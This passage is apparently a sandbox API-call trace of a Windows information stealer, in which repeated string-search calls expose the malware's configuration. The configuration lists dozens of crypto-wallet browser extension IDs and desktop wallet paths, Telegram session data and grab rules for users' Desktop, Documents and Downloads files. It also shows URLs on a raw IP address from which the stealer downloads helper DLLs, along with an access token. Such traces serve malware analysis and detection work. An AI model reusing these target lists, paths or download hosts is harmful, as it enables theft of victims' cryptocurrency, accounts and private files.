Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="wlts_") returned="wlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.286] StrStrW (lpFirst="ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=":") returned=":Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.286] StrStrW (lpFirst="Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.286] lstrlenW (lpString="libs_nss3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll\nlibs_msvcp140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll\nlibs_vcruntime140:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll\nlibs_mozglue:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll\nlibs_freebl3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll\nlibs_softokn3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_tronl:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\nlibs_sqlite3:http://51.195.166.178/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll\news_bsc:fhbohimaelbohpjbbldcngcnapndodjp;BinanceChain;Local Extension Settings\news_ronin:fnjhmkhhmkbjkkabndcnnogagogbneec;Ronin;Local Extension Settings\nwlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension 